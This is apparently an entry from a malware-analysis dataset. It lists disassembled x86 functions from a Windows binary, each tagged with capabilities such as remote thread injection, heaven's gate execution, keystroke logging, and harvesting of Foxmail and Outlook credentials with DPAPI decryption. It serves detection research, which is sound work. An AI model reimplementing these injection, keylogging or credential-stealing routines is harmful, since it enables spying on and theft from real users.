joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100076c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0x1c
mov dword [ebp - 4], ecx
call fcn.10001085
mov ebx, dword [ebp + 0xc]
mov edx, eax
pop ecx
push 7
pop ecx
xor eax, eax
mov dword [ebp - 8], edx
mov edi, edx
lea esi, [ebx + 8]
rep stosd dword es:[edi], eax
mov ecx, dword [ebx + 4]
mov dword [edx + 0xc], ecx
lea ecx, [edx + 0x10]
push esi
call fcn.10003437
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
push 0x208
mov dword [ecx + 4], eax
mov eax, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebx + 4]
mov dword [ecx + 0x18], eax
call fcn.10001085
pop ecx
push esi
lea ecx, [ebp + 8]
mov edi, eax
call fcn.1000362d
push esi
lea ecx, [ebp + 0xc]
call fcn.1000362d
lea ecx, [ebp + 8]
call fcn.10003261
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 0xc]
push edi
call fcn.1000102c
mov ecx, dword [ebp + 0xc]
add esp, 0xc
call fcn.10005ea5
mov ecx, dword [ebp + 8]
call fcn.10005ea5
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], esi
mov dword [esi + 0x14], edi
mov eax, dword [ebx + 4]
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea ecx, [ebx + 0x10]
call fcn.1001026f
lea eax, [ebp - 0xc]
push eax
xor eax, eax
push eax
push esi
push 0x100073bb
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov edi, esp
lea esi, [ebp - 0x18]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10001e9c
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10007948
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
xor ebx, ebx
lea ecx, [ebp - 4]
push edi
mov dword [ebp - 4], ebx
call fcn.1000f7e0
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push 0x1001493c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.1000102c
push 0x44
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.10001052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0x18
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100079db
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc]
jmp 0x100079e3
mov ecx, dword [ebp - 4]
call fcn.1000f7b9
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100079e8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp byte [0x10019694], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x14], ecx
jne 0x10007a0c
call fcn.10008617
test eax, eax
setne byte [0x10019694]
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x10007a2a
or eax, 0xffffffff
jmp 0x10007aed
push edi
push 0x40
push 0x3000
push 0x100000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10007ae9
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push pe_nt_image_headers32
push 0x33370000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10007ae9
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.XXXXXX
call fcn.10001133
pop ecx
push eax
push str.XXXXXX
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10007ae5
push str.XXXXXX
call fcn.10001133
pop ecx
cmp dword [ebp - 4], eax
jne 0x10007ae5
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0x14]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10007ae5
cmp dword [ebp - 8], ebx
jne 0x10007ae5
xor eax, eax
push eax
push eax
push eax
push edi
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x10007aec
push 0xfffffffffffffffd
jmp 0x10007aeb
push 0xfffffffffffffffe
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007d1c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
push esi
push edi
call fcn.10007fc0
xor ecx, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], edx
cmp eax, ecx
jne 0x10007d41
cmp edx, ecx
je 0x10007fb7
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
push 0x33
call 0x10007d57
add dword [esp], 5
retf
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007fe6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5cc
cmp dword [0x10019698], 0
push ebx
push esi
push edi
je 0x1000823d
call fcn.1000825d
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], ecx
test eax, eax
jne 0x10008015
test edx, edx
je 0x10008064
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push 0x33
call 0x10008022
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x5c8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1e4]
test ecx, ecx
jne 0x10008081
test eax, eax
je 0x100080d0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x1000808e
add dword [esp], 5
retf
mov esi, dword [ebp - 0x5b0]
lea eax, [ebp - 0x160]
mov ebx, dword [ebp - 0x5ac]
mov dword [ebp - 4], eax
test esi, esi
jne 0x100080ed
test ebx, ebx
je 0x10008148
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
push 0x33
call 0x100080fa
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x150]
lea edx, [ebp - 0x108]
mov eax, dword [ebp - 0x14c]
add esi, 0x10
mov dword [ebp - 0x1c], esi
adc ebx, 0
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x14], edx
test ecx, ecx
jne 0x1000817d
test eax, eax
je 0x100081d2
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
push 0x33
call 0x1000818a
add dword [esp], 5
retf
movzx eax, word [ebp - 0xae]
push eax
call fcn.10001085
mov dword [ebp - 4], eax
pop ecx
test eax, eax
je 0x1000823d
push dword [ebp - 0xa4]
movzx edx, word [ebp - 0xae]
lea ecx, [ebp - 4]
push dword [ebp - 0xa8]
mov dword [ebp - 0x10], ecx
mov ecx, eax
mov byte [ebp - 0xc], 1
call fcn.10008327
mov edx, dword [ebp - 4]
pop ecx
pop ecx
call fcn.10008502
lea ecx, [ebp - 0x10]
test eax, eax
je 0x10008246
call fcn.10001f2c
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
cmp ecx, esi
jne 0x10008175
cmp eax, ebx
jne 0x10008175
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xd4]
call fcn.10001f2c
mov eax, edi
mov edx, esi
jmp 0x10008241

Function at 0x1000825d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 8], xmm0
push 0x33
call 0x10008274
add dword [esp], 5
retf

Function at 0x1000829b
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], str.LdrGetProcedureAddress
push ebx
push esi
push edi
test ecx, ecx
jne 0x100082c4
test eax, eax
jne 0x100082c4
xor al, al
jmp 0x10008322
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
push 0x33
call 0x100082d5
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008327
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
push ebx
push esi
push edi
test ecx, ecx
je 0x10008399
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x10008348
test eax, eax
je 0x10008399
test edx, edx
je 0x10008399
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x10008359
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000839e
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [0x10019698], 0
push ebx
push esi
push edi
jne 0x100083b9
xor eax, eax
xor edx, edx
jmp 0x100084fd
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
test ecx, ecx
jle 0x100083d8
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0x10], eax
jmp 0x100083e0
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
test ecx, ecx
jle 0x100083f9
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x18], eax
jmp 0x10008401
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
test ecx, ecx
jle 0x1000841a
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x20], eax
jmp 0x10008422
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
test ecx, ecx
jle 0x1000843b
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x28], eax
jmp 0x10008443
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
and dword [ebp - 8], 0
mov eax, edx
and dword [ebp - 0xc], 0
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x44], eax
mov eax, ecx
mov dword [ebp - 0x40], edx
cdq
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov word [ebp - 0xc], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call 0x1000847e
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008e66
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.10001052
add esp, 0xc
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x104
lea ecx, [ebp - 0x214]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jle 0x10008eed
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
call fcn.100035e5
push 0x10014ad8
lea ecx, [ebp - 4]
mov esi, eax
call fcn.1000346a
mov edi, eax
push esi
mov ecx, edi
call fcn.10003335
push 0x10014adc
mov ecx, edi
call fcn.1000346a
mov ecx, dword [ebp - 8]
call fcn.10005ea5
mov dword [ebp - 8], ebx
jmp 0x10008efa
push 0x10014ae0
lea ecx, [ebp - 4]
call fcn.100032ff
mov eax, dword [0x100196a0]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x210
push eax
call edi
test eax, eax
mov eax, dword [0x100196a0]
je 0x10008f4f
add eax, 0x210
lea ecx, [ebp - 8]
push eax
call fcn.100035e5
push eax
lea ecx, [ebp - 4]
call fcn.10003248
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.10005ea5
mov eax, dword [0x100196a0]
mov dword [ebp - 8], ebx
test esi, esi
je 0x10008f4f
mov dword [eax + 0xa10], 1
jmp 0x10008f69
push dword [ebp - 4]
add eax, 0x210
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [0x100196a0]
mov dword [eax + 0xa10], ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 4
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x100196a0]
cmp dword [ecx + 0xa10], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ecx + 4], eax
jne 0x10008ff9
push 0
lea eax, [ecx + 8]
mov esi, 0x10014ad0
push eax
push esi
call edi
push eax
mov eax, dword [0x100196a0]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x100196a0]
lea ecx, [ebp - 4]
mov esi, dword [ebp - 4]
add eax, 8
push 0
push eax
call fcn.10003261
add eax, eax
push eax
mov eax, dword [0x100196a0]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x100196a0]
mov esi, 0x10014ad0
push 0
add eax, 8
push eax
push esi
call edi
push eax
mov eax, dword [0x100196a0]
push esi
push dword [eax + 4]
call ebx
mov ecx, dword [0x100196a0]
mov esi, dword [ebp - 0xc]
lea eax, [ecx + 8]
push 0
push eax
push esi
call edi
add eax, eax
push eax
mov eax, dword [0x100196a0]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x100196a0]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.10005ea5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100093c8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push ebx
push esi
push edi
push pe_nt_image_headers32
push 0
push eax
mov bl, cl
call fcn.10001052
add esp, 0xc
movzx esi, bl
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edi, eax
cmp esi, 0x5c
ja 0x10009437
cmp esi, 0x5b
jae 0x1000947c
cmp esi, 0x14
ja 0x10009426
je 0x1000947c
cmp esi, 8
jb 0x10009482
cmp esi, 9
jbe 0x1000947c
cmp esi, 0xd
je 0x1000947c
cmp esi, 0xf
jbe 0x10009482
cmp esi, 0x12
jbe 0x1000947c
jmp 0x10009482
cmp esi, 0x20
jb 0x10009482
cmp esi, 0x28
jbe 0x1000947c
cmp esi, 0x2e
je 0x1000947c
jmp 0x10009482
cmp esi, 0xb3
ja 0x10009461
cmp esi, 0xb2
jae 0x1000947c
cmp esi, 0x60
jb 0x10009482
cmp esi, 0x69
jbe 0x1000947c
cmp esi, 0xac
jbe 0x10009482
cmp esi, 0xaf
jmp 0x10009422
cmp esi, 0xba
jb 0x10009482
cmp esi, 0xc0
jbe 0x1000947c
lea eax, [esi - 0xdb]
cmp eax, 3
ja 0x10009482
or edi, 0x100
push esi
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 1
mov byte [ebp - 1], al
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 1]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
lea eax, [ebp - 0x104]
pop ebx
leave
ret

Function at 0x100094ae
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
xor eax, eax
push ebx
push esi
push edi
mov ebx, ecx
movzx esi, dl
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
cmp esi, 0x5c
ja 0x10009556
cmp esi, 0x5b
jae 0x100095a5
cmp esi, 0x14
ja 0x10009545
je 0x100095a5
cmp esi, 8
jb 0x10009509
cmp esi, 9
jbe 0x100095a5
cmp esi, 0xd
je 0x100095a5
cmp esi, 0xf
jbe 0x10009509
cmp esi, 0x12
jbe 0x100095a5
push pe_nt_image_headers32
xor edi, edi
lea eax, [ebp - 0x100]
push edi
push eax
call fcn.10001052
add esp, 0xc
push edi
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push edi
push 1
lea ecx, [ebx + 8]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push eax
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
cmp esi, 0x20
jb 0x10009509
cmp esi, 0x28
jbe 0x100095a5
cmp esi, 0x2e
je 0x100095a5
jmp 0x10009509
cmp esi, 0xb3
ja 0x10009580
cmp esi, 0xb2
jae 0x100095a5
cmp esi, 0x60
jb 0x10009509
cmp esi, 0x69
jbe 0x100095a5
cmp esi, 0xac
jbe 0x10009509
cmp esi, 0xaf
jmp 0x10009503
cmp esi, 0xba
jb 0x10009509
cmp esi, 0xc0
jbe 0x100095a5
cmp esi, 0xda
jbe 0x10009509
cmp dl, 0xde
ja 0x10009509
mov dword [ebx + 4], esi
jmp 0x1000953e
Function at 0x10009d9a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.softwareAerofoxFoxmailPreview
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009df1
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
mov edi, 0x100197b0
push edi
push 0
push 0
push str.Executable
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10009df1
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov al, 1
jmp 0x10009df3
xor al, al
pop edi
leave
ret

Function at 0x10009df6
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x354]
push ebx
push esi
push edi
push 0
push eax
push 0x104
push 0x100196a8
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x354]
push 0x10015f88
push eax
lea eax, [ebp - 0x45c]
push eax
call esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10009eae
mov ecx, dword [ebp - 0x24c]
or ecx, 0x10
cmp ecx, 0x10
jne 0x10009e9c
cmp byte [ebp - 0x220], 0x2e
je 0x10009e9c
lea eax, [ebp - 0x220]
push eax
push 0x100196a8
lea eax, [ebp - 0x10c]
push eax
call esi
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
push eax
call esi
lea eax, [ebp - 0x10c]
mov ecx, ebx
push eax
call fcn.10009adf
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10009e53
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x1000a0d8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3014
call fcn.10001190
push ebx
push esi
push edi
mov esi, 0x800
mov dword [ebp - 0x10], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1010]
push ebx
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x2010]
push esi
push ebx
push eax
call fcn.10001052
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
add esp, 0xc
mov esi, 0xf003f
push eax
push esi
push ebx
push 0x10015ad0
push closesocket
call edi
test eax, eax
jne 0x1000a13c
push str.SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x1000a192
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x1000a159
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x1000a192
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x1000a176
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
jmp 0x1000a192
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov esi, str.SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push esi
push closesocket
call edi
test eax, eax
jne 0x1000a293
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x1000a293
cmp dword [ebp - 0xc], ebx
jbe 0x1000a28e
xor eax, eax
mov dword [ebp - 8], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3010]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1000a293
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x2010]
push eax
call esi
push 0x10014684
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x3010]
push eax
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2010]
push eax
push closesocket
call edi
test eax, eax
jne 0x1000a293
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.1000a29a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1010]
push eax
push closesocket
call edi
test eax, eax
jne 0x1000a293
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x1000a1cc
xor eax, eax
inc eax
jmp 0x1000a295
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a632
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.10001190
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
lea eax, [edi - 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov edx, eax
inc esi
cmp edi, esi
jle 0x1000a66e
mov ecx, dword [ebp - 4]
mov al, byte [esi + ecx]
mov byte [edx + esi - 1], al
inc esi
cmp esi, edi
jl 0x1000a662
lea eax, [edi - 1]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1000a6b7
test edi, edi
jle 0x1000a6ae
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x2014]
movzx eax, byte [edx + esi]
add esi, 2
mov word [ecx], ax
lea ecx, [ecx + 2]
cmp esi, edi
jl 0x1000a69d
lea eax, [ebp - 0x2014]
push eax
jmp 0x1000a6bc
push str.Could_not_decrypt
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b15e
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call fcn.10001190
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, 0x1fa0
mov edi, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 4]
push ebx
push ebx
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push esi
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call dword [edi + 0x70]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov eax, dword [ebp - 0xc]
mov byte [ecx + eax], bl
mov ecx, dword [ebp - 8]
lea ecx, [ecx + 1]
call fcn.10005eb4
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0xc]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000c118
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 8], eax
inc ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xc], ebx
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x214]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push ebx
push 0
lea eax, [ebp - 0x214]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000c1ab
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x1000c1ad
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret